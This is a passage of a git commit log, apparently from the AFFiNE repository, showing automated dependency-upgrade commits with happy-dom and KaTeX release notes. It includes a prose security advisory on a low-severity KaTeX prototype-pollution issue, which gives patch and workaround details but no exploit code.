[canvasAdapter](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
- By **[@&#8203;RAprogramm](https://redirect.github.com/RAprogramm)**
and **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds new package
[@&#8203;happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter)
- By **[@&#8203;RAprogramm](https://redirect.github.com/RAprogramm)**
and **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
-
[@&#8203;happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter)
is a pluggable canvas adapter for Happy DOM using
[node-canvas](https://redirect.github.com/Automattic/node-canvas).
- Adds support for loading image files when enabling the browser setting
[enableImageFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for loading image data URLs - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[ImageBitmap](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[Window.createImageBitmap()](https://developer.mozilla.org/en-US/docs/Web/API/Window/createImageBitmap)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)

###
[`v20.9.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.9.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.8.9...v20.9.0)

##### 🎨 Features

- Adds support for event listener properties on Window (e.g.
`Window.onkeydown`) - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2131](https://redirect.github.com/capricorn86/happy-dom/issues/2131)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-25 13:21:34 +08:00
DarkSky e32f8dce04 chore: bump deps (#15729)
#### PR Dependency Tree


* **PR #15729** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Deployment**
* Updated the Cloud SQL Proxy image and integrated it with deployment
charts.
* Containers now run with stricter security settings, including non-root
execution and read-only filesystems.
* **Desktop**
* Updated Electron and Node versions and adjusted Windows builds to
support multiple architectures.
* **Maintenance**
  * Updated Vite and Storybook versions across development tools.
  * Improved production GraphQL schema handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-22 16:38:31 +08:00
DarkSky 9be1a8284a feat: bump deps (#15698)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Workspace selection, creation, and navigation after import now use
consistent view transitions, including in browsers without native
transition support.
* **Chores**
* Updated supporting components for mathematical notation, diagrams,
desktop functionality, and backend services.
* Refreshed tools used by the app and its documentation, including
components for error reporting and GraphQL operations. These updates do
not change the rendered equations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 23:28:25 +08:00
renovate[bot] 1c90d02b0c chore: bump up katex version to ^0.18.0 [SECURITY] (#15680)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [katex](https://katex.org)
([source](https://redirect.github.com/KaTeX/KaTeX)) | [`^0.16.27` →
`^0.18.0`](https://renovatebot.com/diffs/npm/katex/0.16.47/0.18.2) |
![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.18.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.47/0.18.2?slim=true)
|

---

### KaTeX: Existing prototype pollution can bypass trust restrictions
[CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923) /
[GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)

<details>
<summary>More information</summary>

#### Details
##### Impact

KaTeX can act as a read-side prototype pollution gadget in applications
where `Object.prototype` has already been polluted, or where an attacker
can influence the prototype of the renderer options object. (KaTeX does
not enable said prototype pollution. This advisory applies when
combining KaTeX with other vulnerable software that allows for prototype
pollution.)

Affected versions may treat inherited properties from `Object.prototype`
as renderer options, internal setting metadata, or namespace entries. In
particular, an inherited `trust` value will be treated as though the
application explicitly enabled trusted rendering, rather than using the
documented default of `false`.

With attacker-controlled mathematical expressions, this can produce
links capable of user-interaction cross-site scripting or load
attacker-selected external resources. Exploitation requires the
consuming application to insert KaTeX output into a web page without a
separate sanitizer. (KaTeX does not execute scripts merely by rendering
an expression.)

Other inherited settings can alter rendering behavior or resource
limits. Inherited setting metadata can affect how defaults and supplied
options are processed, while inherited namespace properties can be
mistaken for defined macros or other internal values.

##### Patches

Upgrade to KaTeX v0.18.2 to remove this vulnerability.

##### Workarounds

- Address any prototype-pollution vulnerability in the application or
its dependencies.
- `delete Object.prototype.trust`, `delete Object.prototype.default`,
and `delete Object.prototype.processor` before calling KaTeX
- Do not allow untrusted input to control the renderer options object or
its prototype.
- Sanitize KaTeX-generated HTML before inserting it into a document.

##### Details

KaTeX previously used ordinary JavaScript property access in the
following contexts:

- Renderer settings could be inherited from the prototype of the options
object.
- Internal `default` and `processor` setting metadata could be inherited
from `Object.prototype`.
- Namespace lookup could treat inherited properties as built-in
definitions.
- Namespace group restoration could preserve an inherited property as
though it had been an explicitly defined value.

The fix adds own-property checks to each of these paths. Inherited
properties are no longer accepted as renderer settings, setting
metadata, namespace definitions, or values to be restored after a group
ends.

##### For more information

If you have any questions or comments about this advisory:

- Open an issue or security advisory in the [KaTeX
repository](https://redirect.github.com/KaTeX/KaTeX/)
- Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu)

#### Severity
- CVSS Score: 2.1 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N`

#### References
-
[https://github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923)
-
[https://github.com/KaTeX/KaTeX/pull/4260](https://redirect.github.com/KaTeX/KaTeX/pull/4260)
-
[https://github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4)
-
[https://github.com/KaTeX/KaTeX/releases/tag/v0.18.2](https://redirect.github.com/KaTeX/KaTeX/releases/tag/v0.18.2)
-
[https://github.com/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>KaTeX/KaTeX (katex)</summary>

###
[`v0.18.2`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0182-2026-08-08)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.1...v0.18.2)

##### Bug Fixes

- prevent prototype pollution in settings
([#&#8203;4260](https://redirect.github.com/KaTeX/KaTeX/issues/4260))
([0adf7e7](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4))

###
[`v0.18.1`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01811-2026-10-01)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.0...v0.18.1)

##### Features

- handle character metrics warnings via `strict`
([#&#8203;4243](https://redirect.github.com/KaTeX/KaTeX/issues/4243))
([4237070](https://redirect.github.com/KaTeX/KaTeX/commit/423707055a37803acafef4c1533832273192ea0e))

###
[`v0.18.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0180-2026-07-17)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.17.0...v0.18.0)

##### Features

- prefix css classes
([#&#8203;4229](https://redirect.github.com/KaTeX/KaTeX/issues/4229))
([6f5c44f](https://redirect.github.com/KaTeX/KaTeX/commit/6f5c44f69bae0703877a3a8d934e20c47bbbbc32))

##### BREAKING CHANGES

- users who apply custom styles or have allowlists targeting KaTeX's
internal classes must update their selectors.

###
[`v0.17.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0170-2026-05-22)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.47...v0.17.0)

##### Performance Improvements

- simplify `defineFunction` to avoid destructuring, improve typing
([#&#8203;4222](https://redirect.github.com/KaTeX/KaTeX/issues/4222))
([fb604e6](https://redirect.github.com/KaTeX/KaTeX/commit/fb604e6ba63e99809e242d37f9c8359209d55431))

##### BREAKING CHANGES

- The internal API for `__defineFunction` changed: you should no longer
wrap properties in `props`.

####
[0.16.47](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.46...v0.16.47)
(2026-05-16)

##### Bug Fixes

- correct size of `[` big delimiter
([#&#8203;4217](https://redirect.github.com/KaTeX/KaTeX/issues/4217))
([7ba0027](https://redirect.github.com/KaTeX/KaTeX/commit/7ba0027d2f04abddd3b215362f867ab8260b09d7)),
closes
[#&#8203;4215](https://redirect.github.com/KaTeX/KaTeX/issues/4215)

####
[0.16.46](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.45...v0.16.46)
(2026-05-13)

##### Bug Fixes

- preserve math font in some styling commands
([#&#8203;4214](https://redirect.github.com/KaTeX/KaTeX/issues/4214))
([e9ee046](https://redirect.github.com/KaTeX/KaTeX/commit/e9ee0464ddb31da9bf9649eeb70e52236e7a974a)),
closes
[#&#8203;4213](https://redirect.github.com/KaTeX/KaTeX/issues/4213)

####
[0.16.45](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.44...v0.16.45)
(2026-04-05)

##### Bug Fixes

- wrap vcenter mpadded in mrow for valid MathML
([#&#8203;4193](https://redirect.github.com/KaTeX/KaTeX/issues/4193))
([ee66b78](https://redirect.github.com/KaTeX/KaTeX/commit/ee66b78d24340edbbd05b08a4a429ce9ed158b25)),
closes
[#&#8203;4078](https://redirect.github.com/KaTeX/KaTeX/issues/4078)

####
[0.16.44](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.43...v0.16.44)
(2026-03-27)

##### Bug Fixes

- remove extra \jot space at bottom of align/gather/etc.
([#&#8203;4184](https://redirect.github.com/KaTeX/KaTeX/issues/4184))
([3870ee9](https://redirect.github.com/KaTeX/KaTeX/commit/3870ee913e27fdde7bce244e4c6c5d63e2b28a62))

####
[0.16.43](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.42...v0.16.43)
(2026-03-26)

##### Bug Fixes

- use makeEm() consistently to truncate long CSS decimals
([#&#8203;4181](https://redirect.github.com/KaTeX/KaTeX/issues/4181))
([0967dcc](https://redirect.github.com/KaTeX/KaTeX/commit/0967dcc0278f20d4501a93f01c7343c70abb3fcd))

####
[0.16.42](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.41...v0.16.42)
(2026-03-24)

##### Features

- \underbracket and \overbracket
([#&#8203;4147](https://redirect.github.com/KaTeX/KaTeX/issues/4147))
([5be9abb](https://redirect.github.com/KaTeX/KaTeX/commit/5be9abb0b4d687a2a196b8adf9b5b9deeb60f7bc))

####
[0.16.41](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.40...v0.16.41)
(2026-03-24)

##### Bug Fixes

- \sout in text mode
([#&#8203;4173](https://redirect.github.com/KaTeX/KaTeX/issues/4173))
([e748578](https://redirect.github.com/KaTeX/KaTeX/commit/e748578b63e07ad30d5e404e60b04e5e794c0a5a))

####
[0.16.40](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.39...v0.16.40)
(2026-03-20)

##### Bug Fixes

- **css:** specify position: relative for .katex
([#&#8203;4170](https://redirect.github.com/KaTeX/KaTeX/issues/4170))
([020f0d8](https://redirect.github.com/KaTeX/KaTeX/commit/020f0d89567d59229bac5fc8d8f5832a9508a85f))

####
[0.16.39](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.38...v0.16.39)
(2026-03-19)

##### Bug Fixes

- middle dot in text mode
([#&#8203;4169](https://redirect.github.com/KaTeX/KaTeX/issues/4169))
([edb45b0](https://redirect.github.com/KaTeX/KaTeX/commit/edb45b0b17c7b33349ce5142fe39156da05cb4d8)),
closes
[#&#8203;3641](https://redirect.github.com/KaTeX/KaTeX/issues/3641)

####
[0.16.38](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.37...v0.16.38)
(2026-03-08)

##### Bug Fixes

- accent skew mixed with font specifiers
([#&#8203;4159](https://redirect.github.com/KaTeX/KaTeX/issues/4159))
([aea3375](https://redirect.github.com/KaTeX/KaTeX/commit/aea33758d6c98896017007d0244885301773856a)),
closes
[#&#8203;4121](https://redirect.github.com/KaTeX/KaTeX/issues/4121)

####
[0.16.37](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.36...v0.16.37)
(2026-03-06)

##### Bug Fixes

- negative-width `\hphantom` and symmetric `\smash`
([#&#8203;4153](https://redirect.github.com/KaTeX/KaTeX/issues/4153))
([d4799ca](https://redirect.github.com/KaTeX/KaTeX/commit/d4799cae585d909e2a4e3dedbebdc2f142998ca9))

####
[0.16.36](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.35...v0.16.36)
(2026-03-06)

##### Bug Fixes

- contrib esm bloat
([#&#8203;4157](https://redirect.github.com/KaTeX/KaTeX/issues/4157))
([2bde1ad](https://redirect.github.com/KaTeX/KaTeX/commit/2bde1adab2a23f61519145923329c915b04d4778))

####
[0.16.35](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.34...v0.16.35)
(2026-03-05)

##### Bug Fixes

- version number regression
([#&#8203;4155](https://redirect.github.com/KaTeX/KaTeX/issues/4155))
([db26b73](https://redirect.github.com/KaTeX/KaTeX/commit/db26b733805f2d0d71e82596475b313c8706557e))

####
[0.16.34](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.33...v0.16.34)
(2026-03-05)

##### Bug Fixes

- emoji with variation selector
([#&#8203;4151](https://redirect.github.com/KaTeX/KaTeX/issues/4151))
([c2606e5](https://redirect.github.com/KaTeX/KaTeX/commit/c2606e5db91ae199ee1ff0c8c2f7f9f70fcf589b))

####
[0.16.33](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.32...v0.16.33)
(2026-02-23)

##### Bug Fixes

- **scss:** forward variables to fonts module
([#&#8203;4146](https://redirect.github.com/KaTeX/KaTeX/issues/4146))
([9349a64](https://redirect.github.com/KaTeX/KaTeX/commit/9349a64a051ca408da713baf061e32ade80ed22a))

####
[0.16.32](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.31...v0.16.32)
(2026-02-22)

##### Bug Fixes

- italic separation in \mathnormal
([#&#8203;4143](https://redirect.github.com/KaTeX/KaTeX/issues/4143))
([71305a0](https://redirect.github.com/KaTeX/KaTeX/commit/71305a05140ca6203092bfdc14f689168b26ab8c))

####
[0.16.31](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.30...v0.16.31)
(2026-02-22)

##### Bug Fixes

- `\*frac` sizing
([#&#8203;4137](https://redirect.github.com/KaTeX/KaTeX/issues/4137))
([ef51f18](https://redirect.github.com/KaTeX/KaTeX/commit/ef51f18ded4ab9ba54ba750f2866241c4676c41c))

####
[0.16.30](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.29...v0.16.30)
(2026-02-22)

##### Bug Fixes

- no line breaks after `\not`
([#&#8203;4140](https://redirect.github.com/KaTeX/KaTeX/issues/4140))
([2d1ba86](https://redirect.github.com/KaTeX/KaTeX/commit/2d1ba86143bd45540d5a773cfa456081318f3f33))

####
[0.16.29](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.28...v0.16.29)
(2026-02-22)

##### Bug Fixes

- `\imath` and other `\html@mathml` macros in arguments
([#&#8203;4139](https://redirect.github.com/KaTeX/KaTeX/issues/4139))
([a850cce](https://redirect.github.com/KaTeX/KaTeX/commit/a850cce7ccbf95a0b187313d1e54d8d40dfc7273))

####
[0.16.28](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.27...v0.16.28)
(2026-01-25)

##### Bug Fixes

- **type:** add missing types definition path to package.json
([#&#8203;4125](https://redirect.github.com/KaTeX/KaTeX/issues/4125))
([0ef8921](https://redirect.github.com/KaTeX/KaTeX/commit/0ef8921d189346b0ff8f84a77f7f552349b76893))

####
[0.16.27](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.26...v0.16.27)
(2025-12-07)

##### Features

- support equals sign and surrounding whitespace in \htmlData attribute
values
([#&#8203;4112](https://redirect.github.com/KaTeX/KaTeX/issues/4112))
([c77aaec](https://redirect.github.com/KaTeX/KaTeX/commit/c77aaec00c766f5bb02e332a1dc416b82a65fe8f))

####
[0.16.26](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.25...v0.16.26)
(2025-12-07)

##### Bug Fixes

- \mathop followed by integral symbol
([6fbad18](https://redirect.github.com/KaTeX/KaTeX/commit/6fbad18857351e4d2a88ed3e3348bd76caad9be3))

####
[0.16.25](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.24...v0.16.25)
(2025-10-13)

##### Features

- **css:** provide `katex-swap.css` that uses `font-display: swap`
([#&#8203;3940](https://redirect.github.com/KaTeX/KaTeX/issues/3940))
([b3f9ce6](https://redirect.github.com/KaTeX/KaTeX/commit/b3f9ce691e89a52dea7ec8f10cc6ed4ddc8fc161)),
closes
[#&#8203;2242](https://redirect.github.com/KaTeX/KaTeX/issues/2242)

####
[0.16.24](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.23...v0.16.24)
(2025-10-12)

##### Features

- support hex colors with alpha
([#&#8203;4090](https://redirect.github.com/KaTeX/KaTeX/issues/4090))
([8c9b306](https://redirect.github.com/KaTeX/KaTeX/commit/8c9b3063965acc0d6e6a0b6df4d051169de9e1a9)),
closes
[#&#8203;4067](https://redirect.github.com/KaTeX/KaTeX/issues/4067)
[#fA6](https://redirect.github.com/KaTeX/KaTeX/issues/fA6)
[#fA6f1](https://redirect.github.com/KaTeX/KaTeX/issues/fA6f1)

####
[0.16.23](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.22...v0.16.23)
(2025-10-03)

##### Bug Fixes

- Support `\def` with arguments via `macros` option
([#&#8203;4087](https://redirect.github.com/KaTeX/KaTeX/issues/4087))
([80a8158](https://redirect.github.com/KaTeX/KaTeX/commit/80a815856a8c26d78b3669e9c05fff00efe82247))

####
[0.16.22](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.21...v0.16.22)
(2025-04-09)

##### Bug Fixes

- \relax in base or exponent of super/subscript
([#&#8203;4045](https://redirect.github.com/KaTeX/KaTeX/issues/4045))
([1f43c84](https://redirect.github.com/KaTeX/KaTeX/commit/1f43c84a175fb689f8c8d1d72b1e8b896a8b43d1))

####
[0.16.21](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.20...v0.16.21)
(2025-01-17)

##### Bug Fixes

- escape \htmlData attribute name
([57914ad](https://redirect.github.com/KaTeX/KaTeX/commit/57914ad91eff401357f44bf364b136d37eba04f8))

####
[0.16.20](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.19...v0.16.20)
(2025-01-12)

##### Bug Fixes

- \providecommand does not overwrite existing macro
([#&#8203;4000](https://redirect.github.com/KaTeX/KaTeX/issues/4000))
([6d30fe4](https://redirect.github.com/KaTeX/KaTeX/commit/6d30fe47b06f9da9b836fe518d5cbbecf6a6a3a1)),
closes
[#&#8203;3928](https://redirect.github.com/KaTeX/KaTeX/issues/3928)

####
[0.16.19](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.18...v0.16.19)
(2024-12-29)

##### Bug Fixes

- **types:** improve `strict` function type
([#&#8203;4009](https://redirect.github.com/KaTeX/KaTeX/issues/4009))
([4228b4e](https://redirect.github.com/KaTeX/KaTeX/commit/4228b4eb529b8e35def66cc6e4fa467383b98c86))

####
[0.16.18](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.17...v0.16.18)
(2024-12-18)

##### Bug Fixes

- Actually publish TypeScript type definitions
([#&#8203;4008](https://redirect.github.com/KaTeX/KaTeX/issues/4008))
([629b873](https://redirect.github.com/KaTeX/KaTeX/commit/629b87354fdfc04a3769f09b69f6bbadebcb9ae8))

####
[0.16.17](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.16...v0.16.17)
(2024-12-17)

##### Bug Fixes

- MathML combines multidigit numbers with sup/subscript, comma
separators, and multicharacter text when outputting to DOM
([#&#8203;3999](https://redirect.github.com/KaTeX/KaTeX/issues/3999))
([7d79e22](https://redirect.github.com/KaTeX/KaTeX/commit/7d79e220f465c42d4334dc95f1c41e333667e168)),
closes
[#&#8203;3995](https://redirect.github.com/KaTeX/KaTeX/issues/3995)

####
[0.16.16](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.15...v0.16.16)
(2024-12-17)

##### Features

- ESM exports, TypeScript types
([#&#8203;3992](https://redirect.github.com/KaTeX/KaTeX/issues/3992))
([ea9c173](https://redirect.github.com/KaTeX/KaTeX/commit/ea9c173a0de953b49b2ce5d131e88b785f5dffa1))

####
[0.16.15](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.14...v0.16.15)
(2024-12-09)

##### Features

- italic sans-serif in math mode via `\mathsfit` command
([#&#8203;3998](https://redirect.github.com/KaTeX/KaTeX/issues/3998))
([2218901](https://redirect.github.com/KaTeX/KaTeX/commit/22189018b63c9312ec4ad126804514a7390d60b5))

####
[0.16.14](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.13...v0.16.14)
(2024-12-08)

##### Features

- \dddot and \ddddot support
([#&#8203;3834](https://redirect.github.com/KaTeX/KaTeX/issues/3834))
([bda35cd](https://redirect.github.com/KaTeX/KaTeX/commit/bda35cdb0a6bbbc52dd27c79e4d984688be3b745)),
closes
[#&#8203;2744](https://redirect.github.com/KaTeX/KaTeX/issues/2744)

####
[0.16.13](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.12...v0.16.13)
(2024-12-08)

##### Bug Fixes

- `\vdots` and `\rule` support in text mode
([#&#8203;3997](https://redirect.github.com/KaTeX/KaTeX/issues/3997))
([0e08352](https://redirect.github.com/KaTeX/KaTeX/commit/0e0835262345d991df61a435800a16b069a4d5c7)),
closes
[#&#8203;3990](https://redirect.github.com/KaTeX/KaTeX/issues/3990)

####
[0.16.12](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.11...v0.16.12)
(2024-12-08)

##### Features

- **css:** configurable margin for display math
([#&#8203;3638](https://redirect.github.com/KaTeX/KaTeX/issues/3638))
([3405001](https://redirect.github.com/KaTeX/KaTeX/commit/3405001225b8ee0cf8b35b2e3a6c1fa2191e5fef))

####
[0.16.11](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.10...v0.16.11)
(2024-07-02)

##### Features

- add \emph
([#&#8203;3963](https://redirect.github.com/KaTeX/KaTeX/issues/3963))
([9f34da4](https://redirect.github.com/KaTeX/KaTeX/commit/9f34da4b3cf228a7af8134c394394d780a089f2b)),
closes
[#&#8203;3566](https://redirect.github.com/KaTeX/KaTeX/issues/3566)

####
[0.16.10](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.9...v0.16.10)
(2024-03-24)

##### Bug Fixes

- \edef bypassing maxExpand via exponential blowup
([e88b4c3](https://redirect.github.com/KaTeX/KaTeX/commit/e88b4c357f978b1bca8edfe3297f0aa309bcbe34))
- escape \includegraphics src and alt
([c5897fc](https://redirect.github.com/KaTeX/KaTeX/commit/c5897fcd1f73da9612a53e6b5544f1d776e17770))
- force protocol to be lowercase for better protocol filtering
([fc5af64](https://redirect.github.com/KaTeX/KaTeX/commit/fc5af64183a3ceb9be9d1c23a275999a728593de)),
closes
[/datatracker.ietf.org/doc/html/rfc3986#section-3](https://redirect.github.com//datatracker.ietf.org/doc/html/rfc3986/issues/section-3)
- maxExpand limit with Unicode sub/superscripts
([085e21b](https://redirect.github.com/KaTeX/KaTeX/commit/085e21b5da05414efefa932570e7201a7c70e5b2))

####
[0.16.9](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.8...v0.16.9)
(2023-10-02)

##### Features

- Support bold Fraktur
([#&#8203;3777](https://redirect.github.com/KaTeX/KaTeX/issues/3777))
([240d5ae](https://redirect.github.com/KaTeX/KaTeX/commit/240d5aede915e0303929a9328745b1060e12004a))

####
[0.16.8](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.7...v0.16.8)
(2023-06-24)

##### Features

- expose error length and raw error message on ParseError
([#&#8203;3820](https://redirect.github.com/KaTeX/KaTeX/issues/3820))
([710774a](https://redirect.github.com/KaTeX/KaTeX/commit/710774aaebb38f43b1ec51c159fe9b9520c91424))

####
[0.16.7](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.6...v0.16.7)
(2023-04-28)

##### Bug Fixes

- **docs/support_table.md:** delete redundant "varPsi"
([#&#8203;3814](https://redirect.github.com/KaTeX/KaTeX/issues/3814))
([33a1b98](https://redirect.github.com/KaTeX/KaTeX/commit/33a1b98710c880d2d4a67aa0048f027a94b85702))

####
[0.16.6](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.5...v0.16.6)
(2023-04-17)

##### Bug Fixes

- Support `\let` via `macros` option
([#&#8203;3738](https://redirect.github.com/KaTeX/KaTeX/issues/3738))
([bdb0be2](https://redirect.github.com/KaTeX/KaTeX/commit/bdb0be201794d22adaee05438b07a2830efea9da)),
closes
[#&#8203;3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737)
[#&#8203;3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737)

####
[0.16.5](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.4...v0.16.5)
(2023-04-17)

##### Features

- \_\_defineFunction API exposing internal defineFunction
([#&#8203;3805](https://redirect.github.com/KaTeX/KaTeX/issues/3805))
([c7b1f84](https://redirect.github.com/KaTeX/KaTeX/commit/c7b1f84b7801a29dffdfa3db0ff35de289db80c0)),
closes
[#&#8203;3756](https://redirect.github.com/KaTeX/KaTeX/issues/3756)

####
[0.16.4](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.3...v0.16.4)
(2022-12-07)

##### Bug Fixes

- space should prevent optional argument to \
([#&#8203;3746](https://redirect.github.com/KaTeX/KaTeX/issues/3746))
([a0deb34](https://redirect.github.com/KaTeX/KaTeX/commit/a0deb3410fd92340556fc4c9edb8ab586077e5bf)),
closes
[#&#8203;3745](https://redirect.github.com/KaTeX/KaTeX/issues/3745)

####
[0.16.3](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.2...v0.16.3)
(2022-10-22)

##### Bug Fixes

- \hline after \cr
([#&#8203;3735](https://redirect.github.com/KaTeX/KaTeX/issues/3735))
([ebf6bf5](https://redirect.github.com/KaTeX/KaTeX/commit/ebf6bf5b50a98ac6c5aca1896c0a6ba985c1c91c)),
closes
[#&#8203;3734](https://redirect.github.com/KaTeX/KaTeX/issues/3734)

####
[0.16.2](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.1...v0.16.2)
(2022-08-29)

##### Bug Fixes

- **auto-render:** concatenate content of successive text nodes
([#&#8203;3422](https://redirect.github.com/KaTeX/KaTeX/issues/3422))
([4d3fdd8](https://redirect.github.com/KaTeX/KaTeX/commit/4d3fdd8647a1c320dc7bcb9c9ea2af81379f700d))
- Implement \pmb via CSS text-shadow
([#&#8203;3505](https://redirect.github.com/KaTeX/KaTeX/issues/3505))
([176552a](https://redirect.github.com/KaTeX/KaTeX/commit/176552a69183d71425b491d4cc2fa1d462a1246a))

####
